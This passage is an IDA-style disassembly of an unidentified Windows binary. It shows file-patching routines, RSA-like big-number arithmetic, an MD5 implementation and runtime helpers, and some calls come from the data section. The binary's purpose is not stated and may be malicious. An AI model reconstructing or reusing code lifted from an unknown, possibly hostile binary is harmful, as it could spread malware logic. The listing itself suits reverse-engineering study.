		call	dword ptr ds:10011654h
		push	[ebp+var_4]
		call	dword ptr ds:1000F61Ch
		xor	eax, eax


loc_422846:				; CODE XREF: sub_421353+5Fj
					; sub_421353+14DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_421353	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42284B	proc near		; CODE XREF: .data:0041D33Ep
					; .data:0041D401p

var_1000C	= dword	ptr -1000Ch
var_10003	= byte ptr -10003h
var_FFFF	= byte ptr -0FFFFh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 10004h
		call	sub_423379
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		lea	edi, ds:10010260h
		cmp	[ebp+arg_4], 43h
		jnz	short loc_422870
		lea	edi, ds:1000F0F0h


loc_422870:				; CODE XREF: sub_42284B+1Dj
		push	0
		push	80h
		push	3
		push	0
		push	3
		push	0C0000000h
		push	edi
		call	dword ptr ds:10012788h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_42292A
		push	0
		push	0
		push	esi
		push	edi
		call	dword ptr ds:10012B9Ch
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	0FFFFh
		lea	eax, [ebp+var_10003]
		push	eax
		push	edi
		call	dword ptr ds:1000D028h
		lea	ecx, [ebp+var_FFFF]
		or	eax, 0FFFFFFFFh


loc_4228C2:				; CODE XREF: sub_42284B+7Cj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4228C2
		mov	edx, ds:10013238h
		add	edx, 1
		movsx	ecx, word ptr ds:100131C0h
		add	edx, ecx
		mov	ebx, eax
		add	ebx, edx
		mov	[ebp+var_4], ebx
		mov	ebx, ds:100130C8h
		add	ebx, ds:10013258h
		mov	edx, [ebp+var_4]
		mov	[ebp+ebx*4+var_1000C+1], edx
		push	0
		push	0
		push	esi
		push	edi
		call	dword ptr ds:10012B9Ch
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		movsx	eax, word ptr ds:10013264h
		sub	eax, 5
		push	eax
		lea	eax, [ebp+var_10003]
		push	eax
		push	edi
		call	dword ptr ds:10012B8Ch
		push	edi
		call	dword ptr ds:10011654h


loc_42292A:				; CODE XREF: sub_42284B+43j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42284B	endp

; ---------------------------------------------------------------------------
		db 90h
		db 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422931	proc near		; CODE XREF: sub_41A1D1+13p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		pusha
		cld
		mov	edi, [ebp+arg_4]
		mov	eax, 1
		stosd
		mov	ecx, 0Fh
		dec	eax
		rep stosd
		lea	edi, ds:10014B28h
		mov	esi, [ebp+arg_0]
		mov	ecx, 10h
		rep movsd
		mov	edi, [ebp+arg_8]
		call	sub_4229FC
		xor	edx, edx


loc_422961:				; CODE XREF: sub_422931+52j
		push	edx
		push	ebx
		mov	eax, [ebp+arg_8]
		bt	[eax], edx
		jnb	short loc_422973
		mov	edx, [ebp+arg_4]
		call	sub_42298D


loc_422973:				; CODE XREF: sub_422931+38j
		lea	edx, ds:10014B28h
		call	sub_42298D
		pop	ebx
		pop	edx
		inc	edx
		cmp	edx, ebx
		jbe	short loc_422961
		popa
		pop	ebp
		retn	10h
sub_422931	endp

; ---------------------------------------------------------------------------
		dw 8B2Eh
		db 0C0h

; =============== S U B	R O U T	I N E =======================================



sub_42298D	proc near		; CODE XREF: sub_422931+3Dp
					; sub_422931+48p
		lea	edi, ds:10014AE8h
		mov	ecx, 10h
		xor	eax, eax
		rep stosd
		lea	edi, ds:10014B28h
		call	sub_4229FC


loc_4229A7:				; CODE XREF: sub_42298D+5Dj
		lea	edi, ds:10014AE8h
		mov	ecx, 10h
		xor	eax, eax


loc_4229B4:				; CODE XREF: sub_42298D+2Cj
		rcl	dword ptr [edi], 1
		lea	edi, [edi+4]
		loop	loc_4229B4
		call	sub_422A0D
		bt	ds:10014B28h, ebx
		jnb	short loc_4229E9
		mov	esi, edx
		lea	edi, ds:10014AE8h
		xor	eax, eax
		mov	ecx, 10h


loc_4229D8:				; CODE XREF: sub_42298D+55j
		mov	eax, [esi]
		adc	[edi], eax
		lea	esi, [esi+4]
		lea	edi, [edi+4]
		loop	loc_4229D8
		call	sub_422A0D


loc_4229E9:				; CODE XREF: sub_42298D+3Aj
		dec	ebx
		jns	short loc_4229A7
		mov	edi, edx
		lea	esi, ds:10014AE8h
		mov	ecx, 10h
		rep movsd
		retn
sub_42298D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4229FC	proc near		; CODE XREF: sub_422931+29p
					; sub_42298D+15p
		mov	ebx, 1FFh


loc_422A01:				; CODE XREF: sub_4229FC+Bj
		bt	[edi], ebx
		jb	short locret_422A09
		dec	ebx
		jnz	short loc_422A01

locret_422A09:				; CODE XREF: sub_4229FC+8j
		retn
sub_4229FC	endp

; ---------------------------------------------------------------------------
		dw 8B2Eh
		db 0C0h

; =============== S U B	R O U T	I N E =======================================



sub_422A0D	proc near		; CODE XREF: sub_42298D+2Ep
					; sub_42298D+57p
		lea	esi, ds:10014AE8h
		mov	edi, [ebp+14h]
		mov	ecx, 0Fh


loc_422A1B:				; CODE XREF: sub_422A0D+19j
		mov	eax, [esi+ecx*4]
		cmp	eax, [edi+ecx*4]
		jb	short locret_422A44
		ja	short loc_422A28
		dec	ecx
		jns	short loc_422A1B


loc_422A28:				; CODE XREF: sub_422A0D+16j
		mov	esi, [ebp+14h]
		lea	edi, ds:10014AE8h
		xor	eax, eax
		mov	ecx, 10h


loc_422A38:				; CODE XREF: sub_422A0D+35j
		mov	eax, [esi]
		sbb	[edi], eax
		lea	esi, [esi+4]
		lea	edi, [edi+4]
		loop	loc_422A38

locret_422A44:				; CODE XREF: sub_422A0D+14j
		retn
sub_422A0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_422A45	proc near		; CODE XREF: sub_422A96+32p
					; sub_422A96+50p ...
		mov	eax, ebx
		and	eax, ecx
		push	ebx
		not	ebx
		and	ebx, edx
		or	eax, ebx
		pop	ebx
		retn
sub_422A45	endp


; =============== S U B	R O U T	I N E =======================================



sub_422A52	proc near		; CODE XREF: sub_422A96+219p
					; sub_422A96+238p ...
		mov	eax, ebx
		and	eax, edx
		push	edx
		not	edx
		and	edx, ecx
		or	eax, edx
		pop	edx
		retn
sub_422A52	endp


; =============== S U B	R O U T	I N E =======================================



sub_422A5F	proc near		; CODE XREF: sub_422A96+420p
					; sub_422A96+43Fp ...
		mov	eax, ebx
		xor	eax, ecx
		xor	eax, edx
		retn
sub_422A5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_422A66	proc near		; CODE XREF: sub_422A96+627p
					; sub_422A96+645p ...
		mov	eax, edx
		not	eax
		or	eax, ebx
		xor	eax, ecx
		retn
sub_422A66	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422A6F	proc near		; CODE XREF: sub_41C6CD+73p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		pusha
		mov	edi, [ebp+arg_0]
		mov	dword ptr [edi], 67452301h
		mov	dword ptr [edi+4], 0EFCDAB89h
		mov	dword ptr [edi+8], 98BADCFEh
		mov	dword ptr [edi+0Ch], 10325476h
		popa
		pop	ebp
		retn	4
sub_422A6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422A96	proc near		; CODE XREF: sub_41C6CD+8Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		pusha
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, [edi]
		mov	ds:10014B68h, eax
		mov	eax, [edi+4]
		mov	ds:10014B6Ch, eax
		mov	eax, [edi+8]
		mov	ds:10014B70h, eax
		mov	eax, [edi+0Ch]
		mov	ds:10014B74h, eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_422A45
		add	eax, [edi]
		add	eax, [esi]
		add	eax, 0D76AA478h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_422A45
		add	eax, [edi+0Ch]
		add	eax, [esi+4]
		add	eax, 0E8C7B756h
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_422A45
		add	eax, [edi+8]
		add	eax, [esi+8]
		add	eax, 242070DBh
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_422A45
		add	eax, [edi+4]
		add	eax, [esi+0Ch]
		add	eax, 0C1BDCEEEh
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_422A45
		add	eax, [edi]
		add	eax, [esi+10h]
		add	eax, 0F57C0FAFh
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_422A45
		add	eax, [edi+8]
		add	eax, [esi+18h]
		add	eax, 0A8304613h
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_422A45
		add	eax, [edi+4]
		add	eax, [esi+1Ch]
		add	eax, 0FD469501h
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_422A45
		add	eax, [edi]
		add	eax, [esi+20h]
		add	eax, 698098D8h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_422A45
		add	eax, [edi+0Ch]
		add	eax, [esi+24h]
		add	eax, 8B44F7AFh
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_422A45
		add	eax, [edi+8]
		add	eax, [esi+28h]
		add	eax, 0FFFF5BB1h
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_422A45
		add	eax, [edi+4]
		add	eax, [esi+2Ch]
		add	eax, 895CD7BEh
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_422A45
		add	eax, [edi]
		add	eax, [esi+30h]
		add	eax, 6B901122h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_422A45
		add	eax, [edi+0Ch]
		add	eax, [esi+34h]
		add	eax, 0FD987193h
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_422A45
		add	eax, [edi+8]
		add	eax, [esi+38h]
		add	eax, 0A679438Eh
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_422A45
		add	eax, [edi+4]
		add	eax, [esi+3Ch]
		add	eax, 49B40821h
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_422A52
		add	eax, [edi]
		add	eax, [esi+4]
		add	eax, 0F61E2562h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_422A52
		add	eax, [edi+0Ch]
		add	eax, [esi+18h]
		add	eax, 0C040B340h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_422A52
		add	eax, [edi+8]
		add	eax, [esi+2Ch]
		add	eax, 265E5A51h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_422A52
		add	eax, [edi+4]
		add	eax, [esi]
		add	eax, 0E9B6C7AAh
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_422A52
		add	eax, [edi]
		add	eax, [esi+14h]
		add	eax, 0D62F105Dh
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_422A52
		add	eax, [edi+0Ch]
		add	eax, [esi+28h]
		add	eax, 2441453h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_422A52
		add	eax, [edi+8]
		add	eax, [esi+3Ch]
		add	eax, 0D8A1E681h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_422A52
		add	eax, [edi+4]
		add	eax, [esi+10h]
		add	eax, 0E7D3FBC8h
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_422A52
		add	eax, [edi]
		add	eax, [esi+24h]
		add	eax, 21E1CDE6h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_422A52
		add	eax, [edi+0Ch]
		add	eax, [esi+38h]
		add	eax, 0C33707D6h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_422A52
		add	eax, [edi+8]
		add	eax, [esi+0Ch]
		add	eax, 0F4D50D87h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_422A52
		add	eax, [edi+4]
		add	eax, [esi+20h]
		add	eax, 455A14EDh
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_422A52
		add	eax, [edi]
		add	eax, [esi+34h]
		add	eax, 0A9E3E905h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_422A52
		add	eax, [edi+0Ch]
		add	eax, [esi+8]
		add	eax, 0FCEFA3F8h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_422A52
		add	eax, [edi+8]
		add	eax, [esi+1Ch]
		add	eax, 676F02D9h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_422A52
		add	eax, [edi+4]
		add	eax, [esi+30h]
		add	eax, 8D2A4C8Ah
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_422A5F
		add	eax, [edi]
		add	eax, [esi+14h]
		add	eax, 0FFFA3942h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_422A5F
		add	eax, [edi+0Ch]
		add	eax, [esi+20h]
		add	eax, 8771F681h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_422A5F
		add	eax, [edi+8]
		add	eax, [esi+2Ch]
		add	eax, 6D9D6122h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_422A5F
		add	eax, [edi+4]
		add	eax, [esi+38h]
		add	eax, 0FDE5380Ch
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_422A5F
		add	eax, [edi]
		add	eax, [esi+4]
		add	eax, 0A4BEEA44h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_422A5F
		add	eax, [edi+0Ch]
		add	eax, [esi+10h]
		add	eax, 4BDECFA9h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_422A5F
		add	eax, [edi+8]
		add	eax, [esi+1Ch]
		add	eax, 0F6BB4B60h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_422A5F
		add	eax, [edi+4]
		add	eax, [esi+28h]
		add	eax, 0BEBFBC70h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_422A5F
		add	eax, [edi]
		add	eax, [esi+34h]
		add	eax, 289B7EC6h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_422A5F
		add	eax, [edi+0Ch]
		add	eax, [esi]
		add	eax, 0EAA127FAh
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_422A5F
		add	eax, [edi+8]
		add	eax, [esi+0Ch]
		add	eax, 0D4EF3085h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_422A5F
		add	eax, [edi+4]
		add	eax, [esi+18h]
		add	eax, 4881D05h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_422A5F
		add	eax, [edi]
		add	eax, [esi+24h]
		add	eax, 0D9D4D039h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_422A5F
		add	eax, [edi+0Ch]
		add	eax, [esi+30h]
		add	eax, 0E6DB99E5h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_422A5F
		add	eax, [edi+8]
		add	eax, [esi+3Ch]
		add	eax, 1FA27CF8h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_422A5F
		add	eax, [edi+4]
		add	eax, [esi+8]
		add	eax, 0C4AC5665h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_422A66
		add	eax, [edi]
		add	eax, [esi]
		add	eax, 0F4292244h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_422A66
		add	eax, [edi+0Ch]
		add	eax, [esi+1Ch]
		add	eax, 432AFF97h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_422A66
		add	eax, [edi+8]
		add	eax, [esi+38h]
		add	eax, 0AB9423A7h
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_422A66
		add	eax, [edi+4]
		add	eax, [esi+14h]
		add	eax, 0FC93A039h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_422A66
		add	eax, [edi]
		add	eax, [esi+30h]
		add	eax, 655B59C3h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_422A66
		add	eax, [edi+0Ch]
		add	eax, [esi+0Ch]
		add	eax, 8F0CCC92h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_422A66
		add	eax, [edi+8]
		add	eax, [esi+28h]
		add	eax, 0FFEFF47Dh
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_422A66
		add	eax, [edi+4]
		add	eax, [esi+4]
		add	eax, 85845DD1h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_422A66
		add	eax, [edi]
		add	eax, [esi+20h]
		add	eax, 6FA87E4Fh
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_422A66
		add	eax, [edi+0Ch]
		add	eax, [esi+3Ch]
		add	eax, 0FE2CE6E0h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_422A66
		add	eax, [edi+8]
		add	eax, [esi+18h]
		add	eax, 0A3014314h
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_422A66
		add	eax, [edi+4]
		add	eax, [esi+34h]
		add	eax, 4E0811A1h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_422A66
		add	eax, [edi]
		add	eax, [esi+10h]
		add	eax, 0F7537E82h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_422A66
		add	eax, [edi+0Ch]
		add	eax, [esi+2Ch]
		add	eax, 0BD3AF235h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_422A66
		add	eax, [edi+8]
		add	eax, [esi+8]
		add	eax, 2AD7D2BBh
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_422A66
		add	eax, [edi+4]
		add	eax, [esi+24h]
		add	eax, 0EB86D391h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	eax, ds:10014B68h
		add	[edi], eax
		mov	eax, ds:10014B6Ch
		add	[edi+4], eax
		mov	eax, ds:10014B70h
		add	[edi+8], eax
		mov	eax, ds:10014B74h
		add	[edi+0Ch], eax
		popa
		pop	ebp
		xor	eax, eax
		retn	8
sub_422A96	endp


; =============== S U B	R O U T	I N E =======================================



sub_4232E1	proc near		; CODE XREF: sub_4232FE+1Ep

var_FFC		= dword	ptr -0FFCh

		pop	ecx


loc_4232E2:				; CODE XREF: sub_4232E1+14j
		sub	esp, 1000h
		sub	eax, 1000h
		test	[esp+0FFCh+var_FFC], eax
		cmp	eax, 1000h
		jnb	short loc_4232E2
		sub	esp, eax
		test	[esp+0FFCh+var_FFC], eax
		push	ecx
		retn
sub_4232E1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4232FE	proc near		; CODE XREF: sub_41D465+42p

arg_0		= dword	ptr  4

		pop	ecx
		pop	eax
		add	eax, 3
		shr	eax, 2
		shl	eax, 2
		cmp	eax, 1000h
		jl	short loc_42332E
		mov	edx, esp
		push	eax
		fild	[esp-4+arg_0]
		mov	[esp-4+arg_0], ecx
		fild	[esp-4+arg_0]
		call	sub_4232E1
		mov	esp, edx
		push	edx
		fistp	dword ptr [esp+0]
		mov	ecx, [esp+0]
		fistp	dword ptr [esp+0]
		pop	eax


loc_42332E:				; CODE XREF: sub_4232FE+10j
		sub	esp, eax
		mov	eax, esp
		mov	dword ptr [eax], 0
		push	ecx
		push	ecx
		retn
sub_4232FE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		dd 40C03100h, 0CC2h, 3CD95000h,	24048B24h, 2434BA0Fh, 0C816608h
		db 24h,	0, 2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423368


loc_423357:				; CODE XREF: sub_423368+Dj
		fldcw	word ptr [esp+4+var_4]
		pop	ecx
		mov	al, ah
		and	eax, 3
		retn
; END OF FUNCTION CHUNK	FOR sub_423368
; ---------------------------------------------------------------------------
		db 50h,	0D9h, 3Ch
		dd 0F3EB5824h

; =============== S U B	R O U T	I N E =======================================



sub_423368	proc near		; CODE XREF: .data:loc_4185B4p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00423357 SIZE 0000000A BYTES

		push	eax
		fnstcw	word ptr [esp+4+var_4]
		mov	eax, [esp+4+var_4]
		or	word ptr [esp+4+var_4],	300h
		jmp	short loc_423357
sub_423368	endp

; ---------------------------------------------------------------------------
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_423379	proc near		; CODE XREF: sub_418999+8p
					; sub_4197BE+8p ...

var_FFC		= dword	ptr -0FFCh

		pop	ecx


loc_42337A:				; CODE XREF: sub_423379+14j
		sub	esp, 1000h
		sub	eax, 1000h
		test	[esp+0FFCh+var_FFC], eax
		cmp	eax, 1000h
		jnb	short loc_42337A
		sub	esp, eax
		test	[esp+0FFCh+var_FFC], eax
		jmp	ecx
sub_423379	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_423399	proc near		; CODE XREF: sub_418999+243p
					; sub_418999+5A7p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		xor	eax, eax
		mov	ecx, 0FFFFFFFFh
		xchg	edi, edx
		repne scasb
		neg	ecx
		lea	ecx, [ecx-1]
		mov	eax, [esp+arg_4]
		xchg	eax, esi
		mov	edi, [esp+arg_0]
		rep movsb
		xchg	eax, esi
		xchg	edx, edi
		mov	eax, [esp+arg_0]
		retn	8
sub_423399	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0AC25FF00h, 90100150h, 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4233D1	proc near		; CODE XREF: sub_418669+10p
		jmp	dword ptr ds:100150B0h
sub_4233D1	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4233DD	proc near		; CODE XREF: sub_41848D+13p
		jmp	dword ptr ds:100150B4h
sub_4233DD	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4233E9	proc near		; CODE XREF: sub_4185D0+33p
					; sub_4185D0+45p ...
		jmp	dword ptr ds:100150C0h
sub_4233E9	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4233F5	proc near		; CODE XREF: sub_4185D0+Bp
					; sub_4185D0+17p ...
